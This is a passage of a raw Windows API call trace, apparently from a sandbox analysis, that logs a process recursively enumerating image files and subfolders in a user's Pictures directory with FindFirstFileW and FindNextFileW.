[0098.254] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63ec8c90, ftCreationTime.dwHighDateTime=0x1d631ca, ftLastAccessTime.dwLowDateTime=0xf23d9180, ftLastAccessTime.dwHighDateTime=0x1d629bc, ftLastWriteTime.dwLowDateTime=0xf23d9180, ftLastWriteTime.dwHighDateTime=0x1d629bc, nFileSizeHigh=0x0, nFileSizeLow=0x10be, dwReserved0=0x0, dwReserved1=0x0, cFileName="sOewv7.gif", cAlternateFileName="")) returned 1 [0098.254] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x336c50, ftCreationTime.dwHighDateTime=0x1d62644, ftLastAccessTime.dwLowDateTime=0xd3228650, ftLastAccessTime.dwHighDateTime=0x1d62568, ftLastWriteTime.dwLowDateTime=0xd3228650, ftLastWriteTime.dwHighDateTime=0x1d62568, nFileSizeHigh=0x0, nFileSizeLow=0xd51f, dwReserved0=0x0, dwReserved1=0x0, cFileName="x88UTL.jpg", cAlternateFileName="")) returned 1 [0098.254] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcaa8700, ftCreationTime.dwHighDateTime=0x1d629b5, ftLastAccessTime.dwLowDateTime=0xd17dd3e0, ftLastAccessTime.dwHighDateTime=0x1d630d5, ftLastWriteTime.dwLowDateTime=0xd17dd3e0, ftLastWriteTime.dwHighDateTime=0x1d630d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_xsW54t", cAlternateFileName="")) returned 1 [0098.254] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcaa8700, ftCreationTime.dwHighDateTime=0x1d629b5, ftLastAccessTime.dwLowDateTime=0xd17dd3e0, ftLastAccessTime.dwHighDateTime=0x1d630d5, ftLastWriteTime.dwLowDateTime=0xd17dd3e0, ftLastWriteTime.dwHighDateTime=0x1d630d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_xsW54t", cAlternateFileName="")) returned 0 [0098.254] FindClose (in: hFindFile=0x1ae50e50 | out: hFindFile=0x1ae50e50) returned 1 [0098.254] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ad7c030, ftCreationTime.dwHighDateTime=0x1d624c9, ftLastAccessTime.dwLowDateTime=0xae9b5290, ftLastAccessTime.dwHighDateTime=0x1d62b93, ftLastWriteTime.dwLowDateTime=0xae9b5290, ftLastWriteTime.dwHighDateTime=0x1d62b93, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50310 [0098.255] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ad7c030, ftCreationTime.dwHighDateTime=0x1d624c9, ftLastAccessTime.dwLowDateTime=0xae9b5290, ftLastAccessTime.dwHighDateTime=0x1d62b93, ftLastWriteTime.dwLowDateTime=0xae9b5290, ftLastWriteTime.dwHighDateTime=0x1d62b93, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.255] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1f4c560, ftCreationTime.dwHighDateTime=0x1d62b40, ftLastAccessTime.dwLowDateTime=0x80e007a0, ftLastAccessTime.dwHighDateTime=0x1d62469, ftLastWriteTime.dwLowDateTime=0x80e007a0, ftLastWriteTime.dwHighDateTime=0x1d62469, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0XkSo", cAlternateFileName="")) returned 1 [0098.255] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x561ac4e0, ftCreationTime.dwHighDateTime=0x1d6326c, ftLastAccessTime.dwLowDateTime=0x20115450, ftLastAccessTime.dwHighDateTime=0x1d62f64, ftLastWriteTime.dwLowDateTime=0x20115450, ftLastWriteTime.dwHighDateTime=0x1d62f64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8mq_", cAlternateFileName="")) returned 1 [0098.255] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd72f30, ftCreationTime.dwHighDateTime=0x1d626ed, ftLastAccessTime.dwLowDateTime=0x59168960, ftLastAccessTime.dwHighDateTime=0x1d62bc1, ftLastWriteTime.dwLowDateTime=0x59168960, ftLastWriteTime.dwHighDateTime=0x1d62bc1, nFileSizeHigh=0x0, nFileSizeLow=0xccd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwKnrapL2.jpg", cAlternateFileName="DWKNRA~1.JPG")) returned 1 [0098.255] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x400955f0, ftCreationTime.dwHighDateTime=0x1d6281b, ftLastAccessTime.dwLowDateTime=0x63d25d70, ftLastAccessTime.dwHighDateTime=0x1d630d0, ftLastWriteTime.dwLowDateTime=0x63d25d70, ftLastWriteTime.dwHighDateTime=0x1d630d0, nFileSizeHigh=0x0, nFileSizeLow=0xeb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HA6vcr0InhEz.gif", cAlternateFileName="HA6VCR~1.GIF")) returned 1 [0098.255] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a70a70, ftCreationTime.dwHighDateTime=0x1d62ade, ftLastAccessTime.dwLowDateTime=0xcf67a20, ftLastAccessTime.dwHighDateTime=0x1d62605, ftLastWriteTime.dwLowDateTime=0xcf67a20, ftLastWriteTime.dwHighDateTime=0x1d62605, nFileSizeHigh=0x0, nFileSizeLow=0xe77f, dwReserved0=0x0, dwReserved1=0x0, cFileName="n6mK4.gif", cAlternateFileName="")) returned 1 [0098.255] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca9ba80, ftCreationTime.dwHighDateTime=0x1d62b7a, ftLastAccessTime.dwLowDateTime=0xfe73d200, ftLastAccessTime.dwHighDateTime=0x1d62964, ftLastWriteTime.dwLowDateTime=0xfe73d200, ftLastWriteTime.dwHighDateTime=0x1d62964, nFileSizeHigh=0x0, nFileSizeLow=0x18b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="n8nyFtRe13tfC uMDJXa.jpg", cAlternateFileName="N8NYFT~1.JPG")) returned 1 [0098.255] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63ec8c90, ftCreationTime.dwHighDateTime=0x1d631ca, ftLastAccessTime.dwLowDateTime=0xf23d9180, ftLastAccessTime.dwHighDateTime=0x1d629bc, ftLastWriteTime.dwLowDateTime=0xf23d9180, ftLastWriteTime.dwHighDateTime=0x1d629bc, nFileSizeHigh=0x0, nFileSizeLow=0x10be, dwReserved0=0x0, dwReserved1=0x0, cFileName="sOewv7.gif", cAlternateFileName="")) returned 1 [0098.255] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x336c50, ftCreationTime.dwHighDateTime=0x1d62644, ftLastAccessTime.dwLowDateTime=0xd3228650, ftLastAccessTime.dwHighDateTime=0x1d62568, ftLastWriteTime.dwLowDateTime=0xd3228650, ftLastWriteTime.dwHighDateTime=0x1d62568, nFileSizeHigh=0x0, nFileSizeLow=0xd51f, dwReserved0=0x0, dwReserved1=0x0, cFileName="x88UTL.jpg", cAlternateFileName="")) returned 1 [0098.255] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcaa8700, ftCreationTime.dwHighDateTime=0x1d629b5, ftLastAccessTime.dwLowDateTime=0xd17dd3e0, ftLastAccessTime.dwHighDateTime=0x1d630d5, ftLastWriteTime.dwLowDateTime=0xd17dd3e0, ftLastWriteTime.dwHighDateTime=0x1d630d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_xsW54t", cAlternateFileName="")) returned 1 [0098.255] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcaa8700, ftCreationTime.dwHighDateTime=0x1d629b5, ftLastAccessTime.dwLowDateTime=0xd17dd3e0, ftLastAccessTime.dwHighDateTime=0x1d630d5, ftLastWriteTime.dwLowDateTime=0xd17dd3e0, ftLastWriteTime.dwHighDateTime=0x1d630d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_xsW54t", cAlternateFileName="")) returned 0 [0098.256] FindClose (in: hFindFile=0x1ae50310 | out: hFindFile=0x1ae50310) returned 1 [0098.256] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1f4c560, ftCreationTime.dwHighDateTime=0x1d62b40, ftLastAccessTime.dwLowDateTime=0x80e007a0, ftLastAccessTime.dwHighDateTime=0x1d62469, ftLastWriteTime.dwLowDateTime=0x80e007a0, ftLastWriteTime.dwHighDateTime=0x1d62469, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50970 [0098.256] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1f4c560, ftCreationTime.dwHighDateTime=0x1d62b40, ftLastAccessTime.dwLowDateTime=0x80e007a0, ftLastAccessTime.dwHighDateTime=0x1d62469, ftLastWriteTime.dwLowDateTime=0x80e007a0, ftLastWriteTime.dwHighDateTime=0x1d62469, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.256] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c63ac00, ftCreationTime.dwHighDateTime=0x1d629da, ftLastAccessTime.dwLowDateTime=0xd7967930, ftLastAccessTime.dwHighDateTime=0x1d62de2, ftLastWriteTime.dwLowDateTime=0xd7967930, ftLastWriteTime.dwHighDateTime=0x1d62de2, nFileSizeHigh=0x0, nFileSizeLow=0x16160, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUW9hr-.bmp", cAlternateFileName="")) returned 1 [0098.256] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7de2ac00, ftCreationTime.dwHighDateTime=0x1d6233e, ftLastAccessTime.dwLowDateTime=0x4761e590, ftLastAccessTime.dwHighDateTime=0x1d62a1b, ftLastWriteTime.dwLowDateTime=0x4761e590, ftLastWriteTime.dwHighDateTime=0x1d62a1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDLFcGE", cAlternateFileName="")) returned 1 [0098.256] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x570f1cb0, ftCreationTime.dwHighDateTime=0x1d62647, ftLastAccessTime.dwLowDateTime=0x8d5f5500, ftLastAccessTime.dwHighDateTime=0x1d622d2, ftLastWriteTime.dwLowDateTime=0x8d5f5500, ftLastWriteTime.dwHighDateTime=0x1d622d2, nFileSizeHigh=0x0, nFileSizeLow=0x76cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="JQPxJptzNG_pAT.bmp", cAlternateFileName="JQPXJP~1.BMP")) returned 1 [0098.256] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e52b390, ftCreationTime.dwHighDateTime=0x1d62952, ftLastAccessTime.dwLowDateTime=0xbe8628a0, ftLastAccessTime.dwHighDateTime=0x1d630b7, ftLastWriteTime.dwLowDateTime=0xbe8628a0, ftLastWriteTime.dwHighDateTime=0x1d630b7, nFileSizeHigh=0x0, nFileSizeLow=0x10add, dwReserved0=0x0, dwReserved1=0x0, cFileName="KC6AiHlo5RnPEM0G.bmp", cAlternateFileName="KC6AIH~1.BMP")) returned 1 [0098.256] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82b7a7b0, ftCreationTime.dwHighDateTime=0x1d63268, ftLastAccessTime.dwLowDateTime=0xcbb65d70, ftLastAccessTime.dwHighDateTime=0x1d62c15, ftLastWriteTime.dwLowDateTime=0xcbb65d70, ftLastWriteTime.dwHighDateTime=0x1d62c15, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kQzXlpTZkm577", cAlternateFileName="KQZXLP~1")) returned 1 [0098.257] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4a64b0, ftCreationTime.dwHighDateTime=0x1d624e5, ftLastAccessTime.dwLowDateTime=0xcf4d5860, ftLastAccessTime.dwHighDateTime=0x1d6290b, ftLastWriteTime.dwLowDateTime=0xcf4d5860, ftLastWriteTime.dwHighDateTime=0x1d6290b, nFileSizeHigh=0x0, nFileSizeLow=0x1e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="vILyNMY_x.gif", cAlternateFileName="VILYNM~1.GIF")) returned 1 [0098.257] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x189551c0, ftCreationTime.dwHighDateTime=0x1d6249e, ftLastAccessTime.dwLowDateTime=0x212c6f60, ftLastAccessTime.dwHighDateTime=0x1d6237e, ftLastWriteTime.dwLowDateTime=0x212c6f60, ftLastWriteTime.dwHighDateTime=0x1d6237e, nFileSizeHigh=0x0, nFileSizeLow=0xeb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="zwNRi4_ioiLgHw.bmp", cAlternateFileName="ZWNRI4~1.BMP")) returned 1 [0098.257] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x189551c0, ftCreationTime.dwHighDateTime=0x1d6249e, ftLastAccessTime.dwLowDateTime=0x212c6f60, ftLastAccessTime.dwHighDateTime=0x1d6237e, ftLastWriteTime.dwLowDateTime=0x212c6f60, ftLastWriteTime.dwHighDateTime=0x1d6237e, nFileSizeHigh=0x0, nFileSizeLow=0xeb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="zwNRi4_ioiLgHw.bmp", cAlternateFileName="ZWNRI4~1.BMP")) returned 0 [0098.257] FindClose (in: hFindFile=0x1ae50970 | out: hFindFile=0x1ae50970) returned 1 [0098.257] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1f4c560, ftCreationTime.dwHighDateTime=0x1d62b40, ftLastAccessTime.dwLowDateTime=0x80e007a0, ftLastAccessTime.dwHighDateTime=0x1d62469, ftLastWriteTime.dwLowDateTime=0x80e007a0, ftLastWriteTime.dwHighDateTime=0x1d62469, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae503d0 [0098.257] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1f4c560, ftCreationTime.dwHighDateTime=0x1d62b40, ftLastAccessTime.dwLowDateTime=0x80e007a0, ftLastAccessTime.dwHighDateTime=0x1d62469, ftLastWriteTime.dwLowDateTime=0x80e007a0, ftLastWriteTime.dwHighDateTime=0x1d62469, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.257] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c63ac00, ftCreationTime.dwHighDateTime=0x1d629da, ftLastAccessTime.dwLowDateTime=0xd7967930, ftLastAccessTime.dwHighDateTime=0x1d62de2, ftLastWriteTime.dwLowDateTime=0xd7967930, ftLastWriteTime.dwHighDateTime=0x1d62de2, nFileSizeHigh=0x0, nFileSizeLow=0x16160, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUW9hr-.bmp", cAlternateFileName="")) returned 1 [0098.257] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7de2ac00, ftCreationTime.dwHighDateTime=0x1d6233e, ftLastAccessTime.dwLowDateTime=0x4761e590, ftLastAccessTime.dwHighDateTime=0x1d62a1b, ftLastWriteTime.dwLowDateTime=0x4761e590, ftLastWriteTime.dwHighDateTime=0x1d62a1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDLFcGE", cAlternateFileName="")) returned 1 [0098.257] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x570f1cb0, ftCreationTime.dwHighDateTime=0x1d62647, ftLastAccessTime.dwLowDateTime=0x8d5f5500, ftLastAccessTime.dwHighDateTime=0x1d622d2, ftLastWriteTime.dwLowDateTime=0x8d5f5500, ftLastWriteTime.dwHighDateTime=0x1d622d2, nFileSizeHigh=0x0, nFileSizeLow=0x76cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="JQPxJptzNG_pAT.bmp", cAlternateFileName="JQPXJP~1.BMP")) returned 1 [0098.258] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e52b390, ftCreationTime.dwHighDateTime=0x1d62952, ftLastAccessTime.dwLowDateTime=0xbe8628a0, ftLastAccessTime.dwHighDateTime=0x1d630b7, ftLastWriteTime.dwLowDateTime=0xbe8628a0, ftLastWriteTime.dwHighDateTime=0x1d630b7, nFileSizeHigh=0x0, nFileSizeLow=0x10add, dwReserved0=0x0, dwReserved1=0x0, cFileName="KC6AiHlo5RnPEM0G.bmp", cAlternateFileName="KC6AIH~1.BMP")) returned 1 [0098.258] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82b7a7b0, ftCreationTime.dwHighDateTime=0x1d63268, ftLastAccessTime.dwLowDateTime=0xcbb65d70, ftLastAccessTime.dwHighDateTime=0x1d62c15, ftLastWriteTime.dwLowDateTime=0xcbb65d70, ftLastWriteTime.dwHighDateTime=0x1d62c15, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kQzXlpTZkm577", cAlternateFileName="KQZXLP~1")) returned 1 [0098.258] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4a64b0, ftCreationTime.dwHighDateTime=0x1d624e5, ftLastAccessTime.dwLowDateTime=0xcf4d5860, ftLastAccessTime.dwHighDateTime=0x1d6290b, ftLastWriteTime.dwLowDateTime=0xcf4d5860, ftLastWriteTime.dwHighDateTime=0x1d6290b, nFileSizeHigh=0x0, nFileSizeLow=0x1e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="vILyNMY_x.gif", cAlternateFileName="VILYNM~1.GIF")) returned 1 [0098.258] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x189551c0, ftCreationTime.dwHighDateTime=0x1d6249e, ftLastAccessTime.dwLowDateTime=0x212c6f60, ftLastAccessTime.dwHighDateTime=0x1d6237e, ftLastWriteTime.dwLowDateTime=0x212c6f60, ftLastWriteTime.dwHighDateTime=0x1d6237e, nFileSizeHigh=0x0, nFileSizeLow=0xeb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="zwNRi4_ioiLgHw.bmp", cAlternateFileName="ZWNRI4~1.BMP")) returned 1 [0098.258] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0098.258] FindClose (in: hFindFile=0x1ae503d0 | out: hFindFile=0x1ae503d0) returned 1 [0098.258] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7de2ac00, ftCreationTime.dwHighDateTime=0x1d6233e, ftLastAccessTime.dwLowDateTime=0x4761e590, ftLastAccessTime.dwHighDateTime=0x1d62a1b, ftLastWriteTime.dwLowDateTime=0x4761e590, ftLastWriteTime.dwHighDateTime=0x1d62a1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50850 [0098.258] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7de2ac00, ftCreationTime.dwHighDateTime=0x1d6233e, ftLastAccessTime.dwLowDateTime=0x4761e590, ftLastAccessTime.dwHighDateTime=0x1d62a1b, ftLastWriteTime.dwLowDateTime=0x4761e590, ftLastWriteTime.dwHighDateTime=0x1d62a1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.258] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56ddac80, ftCreationTime.dwHighDateTime=0x1d62583, ftLastAccessTime.dwLowDateTime=0xde6c9c80, ftLastAccessTime.dwHighDateTime=0x1d6305d, ftLastWriteTime.dwLowDateTime=0xde6c9c80, ftLastWriteTime.dwHighDateTime=0x1d6305d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4j1k1xF", cAlternateFileName="")) returned 1 [0098.258] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11545a0, ftCreationTime.dwHighDateTime=0x1d627bc, ftLastAccessTime.dwLowDateTime=0xf7f11190, ftLastAccessTime.dwHighDateTime=0x1d62b99, ftLastWriteTime.dwLowDateTime=0xf7f11190, ftLastWriteTime.dwHighDateTime=0x1d62b99, nFileSizeHigh=0x0, nFileSizeLow=0x116a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="i7zJosB4nQujx7WmK.jpg", cAlternateFileName="I7ZJOS~1.JPG")) returned 1 [0098.259] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6ce2fc0, ftCreationTime.dwHighDateTime=0x1d62a50, ftLastAccessTime.dwLowDateTime=0xda66e8f0, ftLastAccessTime.dwHighDateTime=0x1d62c0e, ftLastWriteTime.dwLowDateTime=0xda66e8f0, ftLastWriteTime.dwHighDateTime=0x1d62c0e, nFileSizeHigh=0x0, nFileSizeLow=0xc775, dwReserved0=0x0, dwReserved1=0x0, cFileName="sBIB.bmp", cAlternateFileName="")) returned 1 [0098.259] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6ce2fc0, ftCreationTime.dwHighDateTime=0x1d62a50, ftLastAccessTime.dwLowDateTime=0xda66e8f0, ftLastAccessTime.dwHighDateTime=0x1d62c0e, ftLastWriteTime.dwLowDateTime=0xda66e8f0, ftLastWriteTime.dwHighDateTime=0x1d62c0e, nFileSizeHigh=0x0, nFileSizeLow=0xc775, dwReserved0=0x0, dwReserved1=0x0, cFileName="sBIB.bmp", cAlternateFileName="")) returned 0 [0098.259] FindClose (in: hFindFile=0x1ae50850 | out: hFindFile=0x1ae50850) returned 1 [0098.259] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\L_CU\\0XkSo\\CDLFcGE\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7de2ac00, ftCreationTime.dwHighDateTime=0x1d6233e, ftLastAccessTime.dwLowDateTime=0x4761e590, ftLastAccessTime.dwHighDateTime=0x1d62a1b, ftLastWriteTime.dwLowDateTime=0x4761e590, ftLastWriteTime.dwHighDateTime=0x1d62a1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50490 [0098.259] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7de2ac00, ftCreationTime.dwHighDateTime=0x1d6233e, ftLastAccessTime.dwLowDateTime=0x4761e590, ftLastAccessTime.dwHighDateTime=0x1d62a1b, ftLastWriteTime.dwLowDateTime=0x4761e590, ftLastWriteTime.dwHighDateTime=0x1d62a1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.259] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56ddac80, ftCreationTime.dwHighDateTime=0x1d62583, ftLastAccessTime.dwLowDateTime=0xde6c9c80, ftLastAccessTime.dwHighDateTime=0x1d6305d, ftLastWriteTime.dwLowDateTime=0xde6c9c80, ftLastWriteTime.dwHighDateTime=0x1d6305d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4j1k1xF", cAlternateFileName="")) returned 1 [0098.259] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11545a0, 